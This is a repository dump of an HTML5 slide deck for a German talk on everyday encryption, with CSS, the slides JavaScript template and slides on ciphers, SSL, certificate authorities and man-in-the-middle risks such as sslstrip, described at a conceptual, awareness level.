punctuation, lisp open bracket, lisp close bracket */ 599 | .prettyprint .opn, 600 | .prettyprint .clo { 601 | color: rgb(127, 127, 127); 602 | } 603 | .prettyprint .typ, /* a type name */ 604 | .prettyprint .atn, /* a markup attribute name */ 605 | .prettyprint .dec, 606 | .prettyprint .var { /* a declaration; a variable name */ 607 | color: rgb(127, 0, 127); 608 | } 609 | 610 | .slide-nr { 611 | display:none; 612 | } 613 | 614 | aside{ 615 | display:none; 616 | } 617 | 618 | .presenter aside{ 619 | z-index:10; 620 | position: absolute; 621 | top:2%; 622 | left:35%; 623 | display:block; 624 | width:60%; 625 | height:96%; 626 | 627 | 628 | padding:5%; 629 | background: rgba(240, 240, 240, .90); 630 | 631 | box-sizing: border-box; 632 | -o-box-sizing: border-box; 633 | -moz-box-sizing: border-box; 634 | -webkit-box-sizing: border-box; 635 | 636 | border-radius: 10px; 637 | -o-border-radius: 10px; 638 | -moz-border-radius: 10px; 639 | -webkit-border-radius: 10px; 640 | box-shadow: 0 2px 6px rgba(0, 0, 0, .3); 641 | border: 1px solid rgba(0, 0, 0, .3); 642 | } 643 | 644 | .presenter .build > * { 645 | transition: opacity 0.5s ease-in-out 0.2s; 646 | -o-transition: opacity 0.5s ease-in-out 0.2s; 647 | -moz-transition: opacity 0.5s ease-in-out 0.2s; 648 | -webkit-transition: opacity 0.5s ease-in-out 0.2s; 649 | } 650 | 651 | .presenter .to-build { 652 | opacity: 100; 653 | } 654 | 655 | 656 | .no-trans.slides section > article{ 657 | transition: transform; 658 | -o-transition: -o-transform; 659 | -moz-transition: -moz-transform; 660 | -webkit-transition: -webkit-transform; 661 | } 662 | 663 | .blackfade { 664 | display: none; 665 | background: #000; 666 | position: fixed; left: 0; top: 0; 667 | width: 100%; height: 100%; 668 | opacity: .90; 669 | z-index: 9999; 670 | } 671 | 672 | .whitefade { 673 | display: none; 674 | background: #FFF; 675 | position: fixed; left: 0; top: 0; 676 | width: 100%; height: 100%; 677 | opacity: .95; 678 | z-index: 9999; 679 | } 680 | 681 | section header{ 682 | display: none; 683 | } 684 | -------------------------------------------------------------------------------- /assets/cc.by-nc-sa.eu.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 19 | 21 | 43 | 45 | 46 | 48 | image/svg+xml 49 | 51 | 52 | 53 | 54 | 58 | 60 | 65 | 68 | 71 | 80 | 83 | 86 | 87 | 88 | 91 | 101 | 103 | 106 | 115 | 116 | 121 | 122 | 126 | 130 | 134 | 135 | 139 | 143 | 147 | 148 | 152 | 156 | 160 | 161 | 164 | 173 | 176 | 179 | 182 | 183 | 184 | 187 | 196 | 199 | 200 | 201 | 202 | 203 | -------------------------------------------------------------------------------- /lib/slides.js: -------------------------------------------------------------------------------- 1 | /* 2 | Google HTML5 slides template 3 | 4 | Authors: Luke Mahé (code) 5 | Marcin Wichary (code and design) 6 | 7 | Dominic Mazzoni (browser compatibility) 8 | Charles Chen (ChromeVox support) 9 | 10 | URL: http://code.google.com/p/html5slides/ 11 | 12 | Contributors: 13 | Benjamin Erb (presenter mode, notes, structuring) 14 | 15 | URL: https://github.com/berb/html5slides-uulm 16 | */ 17 | 18 | var SLIDE_CLASSES = [ 'far-past', 'past', 'current', 'next', 'far-next' ]; 19 | 20 | var PM_TOUCH_SENSITIVITY = 15; 21 | 22 | var curSlide; 23 | 24 | var showPresenterNotes = false; 25 | var isPresenterSlave = false; 26 | var presenterSlaveWindow = null; 27 | var doTransitions = true; 28 | 29 | /* ---------------------------------------------------------------------- */ 30 | /* 31 | * classList polyfill by Eli Grey 32 | * (http://purl.eligrey.com/github/classList.js/blob/master/classList.js) 33 | */ 34 | 35 | if (typeof document !== "undefined" && !("classList" in document.createElement("a"))) { 36 | 37 | (function(view) { 38 | 39 | var classListProp = "classList", protoProp = "prototype", elemCtrProto = (view.HTMLElement || view.Element)[protoProp], objCtr = Object 40 | strTrim = String[protoProp].trim || function() { 41 | return this.replace(/^\s+|\s+$/g, ""); 42 | }, arrIndexOf = Array[protoProp].indexOf || function(item) { 43 | for ( var i = 0, len = this.length; i < len; i++) { 44 | if (i in this && this[i] === item) { 45 | return i; 46 | } 47 | } 48 | return -1; 49 | } 50 | // Vendors: please allow content code to instantiate DOMExceptions 51 | , DOMEx = function(type, message) { 52 | this.name = type; 53 | this.code = DOMException[type]; 54 | this.message = message; 55 | }, checkTokenAndGetIndex = function(classList, token) { 56 | if (token === "") { 57 | throw new DOMEx("SYNTAX_ERR", "An invalid or illegal string was specified"); 58 | } 59 | if (/\s/.test(token)) { 60 | throw new DOMEx("INVALID_CHARACTER_ERR", "String contains an invalid character"); 61 | } 62 | return arrIndexOf.call(classList, token); 63 | }, ClassList = function(elem) { 64 | var trimmedClasses = strTrim.call(elem.className), classes = trimmedClasses ? trimmedClasses.split(/\s+/) : []; 65 | for ( var i = 0, len = classes.length; i < len; i++) { 66 | this.push(classes[i]); 67 | } 68 | this._updateClassName = function() { 69 | elem.className = this.toString(); 70 | }; 71 | }, classListProto = ClassList[protoProp] = [], classListGetter = function() { 72 | return new ClassList(this); 73 | }; 74 | // Most DOMException implementations don't allow calling DOMException's 75 | // toString() 76 | // on non-DOMExceptions. Error's toString() is sufficient here. 77 | DOMEx[protoProp] = Error[protoProp]; 78 | classListProto.item = function(i) { 79 | return this[i] || null; 80 | }; 81 | classListProto.contains = function(token) { 82 | token += ""; 83 | return checkTokenAndGetIndex(this, token) !== -1; 84 | }; 85 | classListProto.add = function(token) { 86 | token += ""; 87 | if (checkTokenAndGetIndex(this, token) === -1) { 88 | this.push(token); 89 | this._updateClassName(); 90 | } 91 | }; 92 | classListProto.remove = function(token) { 93 | token += ""; 94 | var index = checkTokenAndGetIndex(this, token); 95 | if (index !== -1) { 96 | this.splice(index, 1); 97 | this._updateClassName(); 98 | } 99 | }; 100 | classListProto.toggle = function(token) { 101 | token += ""; 102 | if (checkTokenAndGetIndex(this, token) === -1) { 103 | this.add(token); 104 | } 105 | else { 106 | this.remove(token); 107 | } 108 | }; 109 | classListProto.toString = function() { 110 | return this.join(" "); 111 | }; 112 | 113 | if (objCtr.defineProperty) { 114 | var classListPropDesc = { 115 | get : classListGetter, 116 | enumerable : true, 117 | configurable : true 118 | }; 119 | try { 120 | objCtr.defineProperty(elemCtrProto, classListProp, classListPropDesc); 121 | } 122 | catch (ex) { // IE 8 doesn't support enumerable:true 123 | if (ex.number === -0x7FF5EC54) { 124 | classListPropDesc.enumerable = false; 125 | objCtr.defineProperty(elemCtrProto, classListProp, classListPropDesc); 126 | } 127 | } 128 | } 129 | else if (objCtr[protoProp].__defineGetter__) { 130 | elemCtrProto.__defineGetter__(classListProp, classListGetter); 131 | } 132 | 133 | }(self)); 134 | 135 | } 136 | /* ---------------------------------------------------------------------- */ 137 | 138 | /* Slide movement */ 139 | 140 | function getSlideEl(no) { 141 | if ((no < 0) || (no >= slideEls.length)) { 142 | return null; 143 | } 144 | else { 145 | return slideEls[no]; 146 | } 147 | }; 148 | 149 | function updateSlideClass(slideNo, className) { 150 | var el = getSlideEl(slideNo); 151 | 152 | if (!el) { 153 | return; 154 | } 155 | 156 | if (className) { 157 | el.classList.add(className); 158 | } 159 | 160 | for ( var i in SLIDE_CLASSES) { 161 | if (className != SLIDE_CLASSES[i]) { 162 | el.classList.remove(SLIDE_CLASSES[i]); 163 | } 164 | } 165 | }; 166 | 167 | function updateSlides() { 168 | for ( var i = 0; i < slideEls.length; i++) { 169 | switch (i) { 170 | case curSlide - 2: 171 | updateSlideClass(i, 'far-past'); 172 | break; 173 | case curSlide - 1: 174 | updateSlideClass(i, 'past'); 175 | break; 176 | case curSlide: 177 | updateSlideClass(i, 'current'); 178 | break; 179 | case curSlide + 1: 180 | updateSlideClass(i, 'next'); 181 | break; 182 | case curSlide + 2: 183 | updateSlideClass(i, 'far-next'); 184 | break; 185 | default: 186 | updateSlideClass(i); 187 | break; 188 | } 189 | } 190 | 191 | triggerLeaveEvent(curSlide - 1); 192 | triggerEnterEvent(curSlide); 193 | 194 | window.setTimeout(function() { 195 | // Hide after the slide 196 | disableSlideFrames(curSlide - 2); 197 | }, 301); 198 | 199 | enableSlideFrames(curSlide - 1); 200 | enableSlideFrames(curSlide + 2); 201 | 202 | if (isChromeVoxActive()) { 203 | speakAndSyncToNode(slideEls[curSlide]); 204 | } 205 | 206 | updateHash(); 207 | 208 | if (presenterSlaveWindow !== null) { 209 | presenterSlaveWindow.postMessage("" + curSlide, "*"); 210 | } 211 | }; 212 | 213 | function buildNextItem() { 214 | var toBuild = slideEls[curSlide].querySelectorAll('.to-build'); 215 | 216 | if (!toBuild.length) { 217 | return false; 218 | } 219 | 220 | toBuild[0].classList.remove('to-build', ''); 221 | 222 | if (isChromeVoxActive()) { 223 | speakAndSyncToNode(toBuild[0]); 224 | } 225 | 226 | return true; 227 | }; 228 | 229 | function prevSlide() { 230 | if (curSlide > 0) { 231 | curSlide--; 232 | 233 | updateSlides(); 234 | } 235 | }; 236 | 237 | function nextSlide() { 238 | if (buildNextItem()) { 239 | return; 240 | } 241 | 242 | if (curSlide < slideEls.length - 1) { 243 | curSlide++; 244 | 245 | updateSlides(); 246 | } 247 | }; 248 | 249 | function goToSlide(target) { 250 | if (target >= 0 && target <= slideEls.length) { 251 | var steps = target - (curSlide + 1); 252 | while (steps !== 0) { 253 | if (steps > 0) { 254 | curSlide++; 255 | steps--; 256 | } 257 | else if (steps < 0) { 258 | curSlide--; 259 | steps++; 260 | } 261 | } 262 | updateSlides(); 263 | } 264 | }; 265 | 266 | function togglePresenterNotes() { 267 | if (showPresenterNotes === false) { 268 | var section = document.querySelector("div.slides"); 269 | section.classList.add('presenter'); 270 | } 271 | else { 272 | var section = document.querySelector("div.slides"); 273 | section.classList.remove('presenter'); 274 | } 275 | showPresenterNotes = !showPresenterNotes; 276 | 277 | }; 278 | 279 | function toggleTransitions() { 280 | if (doTransitions === false) { 281 | var section = document.querySelector("div.slides"); 282 | section.classList.remove('no-trans'); 283 | } 284 | else { 285 | var section = document.querySelector("div.slides"); 286 | section.classList.add('no-trans'); 287 | } 288 | doTransitions = !doTransitions; 289 | 290 | }; 291 | 292 | /* Slide events */ 293 | 294 | function triggerEnterEvent(no) { 295 | var el = getSlideEl(no); 296 | if (!el) { 297 | return; 298 | } 299 | 300 | var onEnter = el.getAttribute('onslideenter'); 301 | if (onEnter) { 302 | new Function(onEnter).call(el); 303 | } 304 | 305 | var evt = document.createEvent('Event'); 306 | evt.initEvent('slideenter', true, true); 307 | evt.slideNumber = no + 1; // Make it readable 308 | 309 | el.dispatchEvent(evt); 310 | }; 311 | 312 | function triggerLeaveEvent(no) { 313 | var el = getSlideEl(no); 314 | if (!el) { 315 | return; 316 | } 317 | 318 | var onLeave = el.getAttribute('onslideleave'); 319 | if (onLeave) { 320 | new Function(onLeave).call(el); 321 | } 322 | 323 | var evt = document.createEvent('Event'); 324 | evt.initEvent('slideleave', true, true); 325 | evt.slideNumber = no + 1; // Make it readable 326 | 327 | el.dispatchEvent(evt); 328 | }; 329 | 330 | /* Touch events */ 331 | 332 | function handleTouchStart(event) { 333 | if (event.touches.length == 1) { 334 | touchDX = 0; 335 | touchDY = 0; 336 | 337 | touchStartX = event.touches[0].pageX; 338 | touchStartY = event.touches[0].pageY; 339 | 340 | document.body.addEventListener('touchmove', handleTouchMove, true); 341 | document.body.addEventListener('touchend', handleTouchEnd, true); 342 | } 343 | }; 344 | 345 | function handleTouchMove(event) { 346 | if (event.touches.length > 1) { 347 | cancelTouch(); 348 | } 349 | else { 350 | touchDX = event.touches[0].pageX - touchStartX; 351 | touchDY = event.touches[0].pageY - touchStartY; 352 | } 353 | }; 354 | 355 | function handleTouchEnd(event) { 356 | var dx = Math.abs(touchDX); 357 | var dy = Math.abs(touchDY); 358 | 359 | if ((dx > PM_TOUCH_SENSITIVITY) && (dy < (dx * 2 / 3))) { 360 | if (touchDX > 0) { 361 | prevSlide(); 362 | } 363 | else { 364 | nextSlide(); 365 | } 366 | } 367 | 368 | cancelTouch(); 369 | }; 370 | 371 | function cancelTouch() { 372 | document.body.removeEventListener('touchmove', handleTouchMove, true); 373 | document.body.removeEventListener('touchend', handleTouchEnd, true); 374 | }; 375 | 376 | /* Fadings */ 377 | 378 | 379 | function toggleFade(type){ 380 | 381 | var fadeDiv = document.querySelector('#fadeDiv'); 382 | 383 | if(fadeDiv === null){ 384 | fadeDiv = document.createElement('div'); 385 | fadeDiv.id = "fadeDiv"; 386 | fadeDiv.className = type; 387 | document.body.appendChild(fadeDiv); 388 | } 389 | else if(fadeDiv.className !== type){ 390 | fadeDiv.className = type; 391 | } 392 | 393 | if(fadeDiv.style.display === "block"){ 394 | fadeDiv.style.display = "none"; 395 | } 396 | else{ 397 | fadeDiv.style.display = "block"; 398 | } 399 | 400 | } 401 | 402 | function toggleBlackOut(){ 403 | toggleFade("blackfade"); 404 | } 405 | 406 | 407 | function toggleWhiteOut(){ 408 | toggleFade("whitefade"); 409 | } 410 | 411 | function processToc(){ 412 | 413 | var sections = []; 414 | 415 | var els = document.querySelectorAll('.slides section'); 416 | for(var i = 0;i sections[j].lastSlideNr){ 450 | liEl.className = 'done'; 451 | } 452 | else{ 453 | liEl.className = 'current'; 454 | } 455 | 456 | var aEl = document.createElement('a'); 457 | aEl.href = '#'+sections[j].slideNr; 458 | aEl.innerHTML = sections[j].title; 459 | 460 | var callback = (function(nr){ 461 | aEl.addEventListener('click', function(){ 462 | goToSlide(nr); 463 | }); 464 | })(sections[j].slideNr); 465 | 466 | liEl.appendChild(aEl); 467 | ol.appendChild(liEl); 468 | 469 | } 470 | nav.appendChild(ol); 471 | } 472 | } 473 | } 474 | 475 | /* Preloading frames */ 476 | 477 | function disableSlideFrames(no) { 478 | var el = getSlideEl(no); 479 | if (!el) { 480 | return; 481 | } 482 | 483 | var frames = el.getElementsByTagName('iframe'); 484 | for ( var i = 0, frame; frame = frames[i]; i++) { 485 | disableFrame(frame); 486 | } 487 | }; 488 | 489 | function enableSlideFrames(no) { 490 | var el = getSlideEl(no); 491 | if (!el) { 492 | return; 493 | } 494 | 495 | var frames = el.getElementsByTagName('iframe'); 496 | for ( var i = 0, frame; frame = frames[i]; i++) { 497 | enableFrame(frame); 498 | } 499 | }; 500 | 501 | function disableFrame(frame) { 502 | frame.src = 'about:blank'; 503 | }; 504 | 505 | function enableFrame(frame) { 506 | var src = frame._src; 507 | 508 | if (frame.src != src && src != 'about:blank') { 509 | frame.src = src; 510 | } 511 | }; 512 | 513 | function setupFrames() { 514 | var frames = document.querySelectorAll('iframe'); 515 | for ( var i = 0, frame; frame = frames[i]; i++) { 516 | frame._src = frame.src; 517 | disableFrame(frame); 518 | } 519 | 520 | enableSlideFrames(curSlide); 521 | enableSlideFrames(curSlide + 1); 522 | enableSlideFrames(curSlide + 2); 523 | }; 524 | 525 | function setupInteraction() { 526 | /* Clicking and tapping */ 527 | 528 | var el = document.createElement('div'); 529 | el.className = 'slide-area'; 530 | el.id = 'prev-slide-area'; 531 | el.addEventListener('click', prevSlide, false); 532 | document.querySelector('div.slides').appendChild(el); 533 | 534 | var el = document.createElement('div'); 535 | el.className = 'slide-area'; 536 | el.id = 'next-slide-area'; 537 | el.addEventListener('click', nextSlide, false); 538 | document.querySelector('div.slides').appendChild(el); 539 | 540 | /* Swiping */ 541 | 542 | document.body.addEventListener('touchstart', handleTouchStart, false); 543 | } 544 | 545 | /* ChromeVox support */ 546 | 547 | function isChromeVoxActive() { 548 | if (typeof (cvox) == 'undefined') { 549 | return false; 550 | } 551 | else { 552 | return true; 553 | } 554 | }; 555 | 556 | function speakAndSyncToNode(node) { 557 | if (!isChromeVoxActive()) { 558 | return; 559 | } 560 | 561 | cvox.ChromeVox.navigationManager.switchToStrategy(cvox.ChromeVoxNavigationManager.STRATEGIES.LINEARDOM, 0, true); 562 | cvox.ChromeVox.navigationManager.syncToNode(node); 563 | cvox.ChromeVoxUserCommands.finishNavCommand(''); 564 | var target = node; 565 | while (target.firstChild) { 566 | target = target.firstChild; 567 | } 568 | cvox.ChromeVox.navigationManager.syncToNode(target); 569 | }; 570 | 571 | function speakNextItem() { 572 | if (!isChromeVoxActive()) { 573 | return; 574 | } 575 | 576 | cvox.ChromeVox.navigationManager.switchToStrategy(cvox.ChromeVoxNavigationManager.STRATEGIES.LINEARDOM, 0, true); 577 | cvox.ChromeVox.navigationManager.next(true); 578 | if (!cvox.DomUtil.isDescendantOfNode(cvox.ChromeVox.navigationManager.getCurrentNode(), slideEls[curSlide])) { 579 | var target = slideEls[curSlide]; 580 | while (target.firstChild) { 581 | target = target.firstChild; 582 | } 583 | cvox.ChromeVox.navigationManager.syncToNode(target); 584 | cvox.ChromeVox.navigationManager.next(true); 585 | } 586 | cvox.ChromeVoxUserCommands.finishNavCommand(''); 587 | }; 588 | 589 | function speakPrevItem() { 590 | if (!isChromeVoxActive()) { 591 | return; 592 | } 593 | 594 | cvox.ChromeVox.navigationManager.switchToStrategy(cvox.ChromeVoxNavigationManager.STRATEGIES.LINEARDOM, 0, true); 595 | cvox.ChromeVox.navigationManager.previous(true); 596 | if (!cvox.DomUtil.isDescendantOfNode(cvox.ChromeVox.navigationManager.getCurrentNode(), slideEls[curSlide])) { 597 | var target = slideEls[curSlide]; 598 | while (target.lastChild) { 599 | target = target.lastChild; 600 | } 601 | cvox.ChromeVox.navigationManager.syncToNode(target); 602 | cvox.ChromeVox.navigationManager.previous(true); 603 | } 604 | cvox.ChromeVoxUserCommands.finishNavCommand(''); 605 | }; 606 | 607 | /* Hash functions */ 608 | 609 | function getCurSlideFromHash() { 610 | var slideNo = parseInt(location.hash.substr(1)); 611 | 612 | if (slideNo) { 613 | curSlide = slideNo - 1; 614 | } 615 | else { 616 | curSlide = 0; 617 | } 618 | }; 619 | 620 | function updateHash() { 621 | location.replace('#' + (curSlide + 1)); 622 | }; 623 | 624 | /* Event listeners */ 625 | 626 | function handleBodyKeyDown(event) { 627 | switch (event.keyCode) { 628 | case 39: // right arrow 629 | case 13: // Enter 630 | case 32: // space 631 | case 34: // PgDn 632 | nextSlide(); 633 | event.preventDefault(); 634 | break; 635 | 636 | case 37: // left arrow 637 | case 8: // Backspace 638 | case 33: // PgUp 639 | prevSlide(); 640 | event.preventDefault(); 641 | break; 642 | 643 | case 40: // down arrow 644 | if (isChromeVoxActive()) { 645 | speakNextItem(); 646 | } 647 | else { 648 | nextSlide(); 649 | } 650 | event.preventDefault(); 651 | break; 652 | 653 | case 38: // up arrow 654 | if (isChromeVoxActive()) { 655 | speakPrevItem(); 656 | } 657 | else { 658 | prevSlide(); 659 | } 660 | event.preventDefault(); 661 | break; 662 | 663 | case 71: // g 664 | case 103: // G 665 | var nr = prompt("Go to slide", (curSlide + 1)); 666 | goToSlide(parseInt(nr)); 667 | event.preventDefault(); 668 | // Fix for (at least) FF: set focus on slide again to get next key 669 | // event 670 | window.focus(); 671 | break; 672 | 673 | case 36: // home 674 | goToSlide(1); 675 | event.preventDefault(); 676 | break; 677 | 678 | case 35: // end 679 | goToSlide(slideEls.length); 680 | event.preventDefault(); 681 | break; 682 | 683 | case 190: // "." 684 | if (presenterSlaveWindow !== null) { 685 | presenterSlaveWindow.postMessage("forward", "*"); 686 | } 687 | event.preventDefault(); 688 | break; 689 | 690 | case 188: // "," 691 | if (presenterSlaveWindow !== null) { 692 | presenterSlaveWindow.postMessage("back", "*"); 693 | } 694 | event.preventDefault(); 695 | break; 696 | 697 | case 80: 698 | case 112: 699 | if (!isPresenterSlave && presenterSlaveWindow === null) { 700 | presenterSlaveWindow = window.open(window.location.href, "Presenter Notes", "dependent=yes,width=900,height=700"); 701 | // Wait some time (2 sec.) hoping that the window has been opened 702 | setTimeout(function() { 703 | if (presenterSlaveWindow !== null) { 704 | // you are a slave now! 705 | presenterSlaveWindow.postMessage("slave", "*"); 706 | // goto master's current slide 707 | presenterSlaveWindow.postMessage("" + curSlide, "*"); 708 | } 709 | }, 2000); 710 | // if master has notes enabled, toggle now 711 | if (showPresenterNotes) { 712 | togglePresenterNotes(); 713 | } 714 | 715 | } 716 | event.preventDefault(); 717 | break; 718 | 719 | case 78: // n / N 720 | case 110: 721 | if (presenterSlaveWindow !== null) { 722 | presenterSlaveWindow.postMessage("togglenotes", "*"); 723 | } 724 | else { 725 | togglePresenterNotes(); 726 | } 727 | event.preventDefault(); 728 | break; 729 | 730 | case 84: // t / T 731 | case 110: 732 | toggleTransitions(); 733 | event.preventDefault(); 734 | break; 735 | 736 | case 66: // b 737 | toggleBlackOut(); 738 | break; 739 | case 87: // w 740 | toggleWhiteOut(); 741 | break; 742 | 743 | } 744 | }; 745 | 746 | 747 | 748 | var handleTheMessage = function(event) { 749 | //only using strings as older Firefox version do not support complex messaging payload 750 | if (event.data !== null) { 751 | if (event.data === 'slave') { 752 | //become a slave 753 | isPresenterSlave = true; 754 | 755 | document.title = "Presenter Notes: " + document.title; 756 | togglePresenterNotes(); 757 | // disable transitions 758 | var section = document.querySelector("div.slides"); 759 | section.classList.add('no-trans'); 760 | } 761 | else if (event.data === 'togglenotes') { 762 | //"remote" note toggling 763 | togglePresenterNotes(); 764 | } 765 | else if (event.data === 'forward') { 766 | //move forward only in presenter screen 767 | 768 | // off-by-one => +2 instead of +1 769 | var target = curSlide + 2; 770 | goToSlide(target); 771 | } 772 | else if (event.data === 'back') { 773 | //move back only in presenter screen 774 | 775 | // off-by-one, not less than 1; 776 | goToSlide(curSlide || 1); 777 | } 778 | else { 779 | // optimistic: if none of the above cases, expect a number to be send 780 | goToSlide(parseInt(event.data) + 1); 781 | } 782 | } 783 | } 784 | 785 | function addEventListeners() { 786 | document.addEventListener('keydown', handleBodyKeyDown, false); 787 | window.addEventListener("message", handleTheMessage, false); 788 | }; 789 | 790 | /* Initialization */ 791 | 792 | function enumrateSlides() { 793 | for ( var i = 0, slide; slide = slideEls[i]; i++) { 794 | var el = document.createElement('footer'); 795 | var span = document.createElement('span'); 796 | span.className = 'slide-nr'; 797 | span.innerHTML = "" + (i + 1); 798 | el.appendChild(span); 799 | slide.appendChild(el); 800 | } 801 | }; 802 | 803 | function addPrettify() { 804 | var els = document.querySelectorAll('pre'); 805 | for ( var i = 0, el; el = els[i]; i++) { 806 | if (!el.classList.contains('noprettyprint')) { 807 | el.classList.add('prettyprint'); 808 | } 809 | } 810 | 811 | var el = document.createElement('script'); 812 | el.type = 'text/javascript'; 813 | el.src = 'lib/prettify.js'; 814 | el.onload = function() { 815 | prettyPrint(); 816 | } 817 | document.body.appendChild(el); 818 | }; 819 | 820 | function addFontStyle() { 821 | var el = document.createElement('link'); 822 | el.rel = 'stylesheet'; 823 | el.type = 'text/css'; 824 | el.href = 'http://fonts.googleapis.com/css?family=' + 'Open+Sans:regular,semibold,italic,italicsemibold|Droid+Sans+Mono'; 825 | 826 | document.body.appendChild(el); 827 | }; 828 | 829 | function addGeneralStyle() { 830 | 831 | var el = document.createElement('meta'); 832 | el.name = 'viewport'; 833 | el.content = 'width=1100,height=750'; 834 | document.querySelector('head').appendChild(el); 835 | 836 | var el = document.createElement('meta'); 837 | el.name = 'apple-mobile-web-app-capable'; 838 | el.content = 'yes'; 839 | document.querySelector('head').appendChild(el); 840 | }; 841 | 842 | function makeBuildLists() { 843 | for ( var i = curSlide, slide; slide = slideEls[i]; i++) { 844 | var items = slide.querySelectorAll('.build > *'); 845 | for ( var j = 0, item; item = items[j]; j++) { 846 | if (item.classList) { 847 | item.classList.add('to-build'); 848 | } 849 | } 850 | } 851 | }; 852 | 853 | function handleDomLoaded() { 854 | slideEls = document.querySelectorAll('div.slides section > article'); 855 | 856 | setupFrames(); 857 | 858 | enumrateSlides(); 859 | 860 | processToc(); 861 | 862 | addFontStyle(); 863 | addGeneralStyle(); 864 | addPrettify(); 865 | addEventListeners(); 866 | 867 | updateSlides(); 868 | 869 | setupInteraction(); 870 | makeBuildLists(); 871 | 872 | 873 | document.body.classList.add('loaded'); 874 | }; 875 | 876 | function initialize() { 877 | getCurSlideFromHash(); 878 | 879 | if (window['_DCL']) { 880 | handleDomLoaded(); 881 | } 882 | else { 883 | document.addEventListener('DOMContentLoaded', handleDomLoaded, false); 884 | } 885 | } 886 | 887 | initialize(); 888 | -------------------------------------------------------------------------------- /folien.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 14 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 35 | Verschlüsselung im Alltag 36 | 37 | 38 | 39 | 40 |
    41 |
    42 |
    43 |

    Verschlüsselung im Alltag

    44 |

    Stefan Schlott

    45 |

    46 | 47 | 48 | 49 |

    50 |
    51 | 52 |
    53 |

    Contents

    54 |
    56 |
    57 | 58 |
    59 |
    Grundlagen
    60 | 61 |
    62 |

    Grundlagen

    63 |

    64 |
    65 | 66 |
    67 |

    Symmetrische Chiffren

    68 |

    69 | Sender und Empfänger benutzen gemeinsames Geheimnis

    70 |

    Typischerweise sehr performant

    71 |

    Problem: Austausch des Schlüssels

    72 |
    73 | 74 |
    75 |

    Falltürfunktionen

    76 |

    77 | Kryptographische Hashfunktion

    78 |

    Hashes: Verdichtung von Daten auf eine charakteristische (kurze) Sequenz

    79 |

    Besonderheit in der Kryptographie: Finden von Daten zu einem gegebenen Hashwert schwierig

    80 |
    81 | 82 |
    83 |

    Asymmetrische Chiffren

    84 |

    85 |

    Statt einem Schlüssel für Ver- und Entschlüsselung: Schlüsselpaare (heben Wirkung gegenseitig auf)

    86 |

    Verschlüssel-Schlüssel (Public Key) kann öffentlich sein

    87 |

    Problem: Habe ich wirklich den Schlüssel des gewünschten Empfängers?

    88 |
    89 |
    90 | 91 |
    92 |
    Verschlüsselung im Browser (SSL)
    93 | 94 |
    95 |

    Verschlüsselung im Browser (SSL)

    96 |

    97 |
    98 | 99 |
    100 |

    Was macht SSL?

    101 |

    SSL sorgt für das "Schloß im Browser"

    102 |

    Protokoll zur Authentisierung und Verschlüsselung von Datenverbindungen

    103 |
      104 |
    • Handshake (verwendete Verfahren aushandeln)
      • 105 |
    • Prüfung Serverzertifikat
      • 106 |
    • Optional: Prüfung Clientzertifikat
      • 107 |
    • Wechsel auf symmetrische Chiffre
      • 108 |
    109 |

    ...und mehr :-)

    110 |
    111 | 112 |
    113 |

    Mit wem spreche ich bitte?

    114 |

    115 |
    116 |
    117 |

    Lösung bei SSL: Certification Authorities (CAs)

    118 |

    Vertrauenswürdige Zertifizierungsstellen

    119 |

    Bestätigen von Identitäten oder Weitergabe der Verantwortung

    120 |
    121 |
    122 |
    123 | 124 |
    125 |

    Certification Authorities

    126 |

    127 |

    128 |
    Root-CA
    129 |
    Zertifikatsempfänger
    130 |
    Intermediate CAs
    131 |
    132 |

    133 |
    134 | 135 |
    136 |

    Was kann wo schiefgehen?

    137 |

    Die Kette der Beteiligten:

    138 |

    → 139 | → 140 | → 141 | → 142 |

    143 |
    144 | 145 |
    146 |

    Was schiefgehen kann: Benutzer

    147 |

    148 | Sicherheit fängt immer beim Benutzer an!

    149 |

    Verwenden der falschen Adresse: 150 |

      151 |
    • Vertippen, absichtlich ähnliche URLs
      (googel.de vs. google.de,
      y0utube.com vs. youtube.com)
      • 152 |
    • Social Engineering: z.B. Links in Phishing-Mails (z.B. so: http://www.youtube.com/watch?v=HUEvRyemKSg)
      • 153 |
    154 |

    155 |

    Falsches Verhalten: 156 |

      157 |
    • Ignorieren von Sicherheitswarnungen
      • 158 |
    159 |

    160 |
    161 | 162 |
    163 |

    Was schiefgehen kann: Eigener Rechner, Zielrechner

    164 |

    165 | Eigener Rechner: Infektion mit Malware, Backdoor, ...

    166 |

    Zielrechner: Eindringen in das System

    167 |

    In beiden Fällen: 168 |

      169 |
    • Alle Daten lesbar (Tastendrücke, Datenbanken, etc.)
      • 170 |
    • Rechner "gehört" nun jemand anderem
      • 171 |
    • Häufig nur durch sorgfältige Reinstallation zu beseitigen
      • 172 |
    173 |
    174 | 175 |
    176 |

    Was schiefgehen kann: Browser

    177 |

    178 | Malware im System kann... 179 |

      180 |
    • Netzwerkverkehr abhören (ist aber verschlüsselt)
      • 181 |
    • Tastendrücke mitschneiden (herstellen des Zusammenhangs schwierig)
      • 182 |
    183 | Integration / Manipulation des Browsers einfacher! (Man-in-the-Browser-Angriff) 184 |

    185 |

    186 |

      187 |
    • Mitschneiden, Manipulieren von Anzeige und Eingabe
      • 188 |
    • Installation neuer Root-Zertifikate
      • 189 |
    • Manipulation von Bookmarks
      • 190 |
    191 |

    192 |
    193 | 194 |
    195 |

    Was schiefgehen kann: Verbindung

    196 |

    197 | Verbindung: Im LAN, Internet-Cafe, Router des ISPs, Proxy der Firma, ...

    198 |

    Man-in-the-Middle: Abhören und/oder manipulieren

    199 |
    200 |
    201 |

    Aber unsere Verbindung ist doch verschlüsselt... oder?

    202 |
    203 |
    204 | 205 |
    206 |

    Verhindern des Wechsels auf ssl

    207 |

    sslstrip agiert als transparenter Proxy

    208 |

    Parst durchlaufende Daten

    209 |

    Ersetzt alle https-Links durch http

    210 |

    Bei vielen Websites sind alle Seiten sowohl per http als auch per https abrufbar 211 |

    Folgt man nur den Links, gelangt man nun nie auf die verschlüsselte Seite

    212 |

    Ganz fatal bei eingebetteten Formularen

    213 |

    ⇒ Wichtige URLs immer prüfen!

    214 |
    215 | 216 |
    217 |

    Demo: sslstrip

    218 |
    219 |

    220 | 221 | 222 |

    223 |
    224 |
    225 |
    226 |

    227 | ...und mit sslstrip:
    228 |
    229 | 230 |

    231 |
    232 |
    233 |
    234 | 235 |
    236 |

    Man-in-the-middle erzeugt eigene Zertifikate

    237 |

    sslsniff, webmitm, iSniff, ...: Ebenfalls transparente Proxy

    238 |

    Besitzen/erstellen eigene CA

    239 |

    Beschreibungstext in CA beim Erstellen: Beliebig!

    240 |

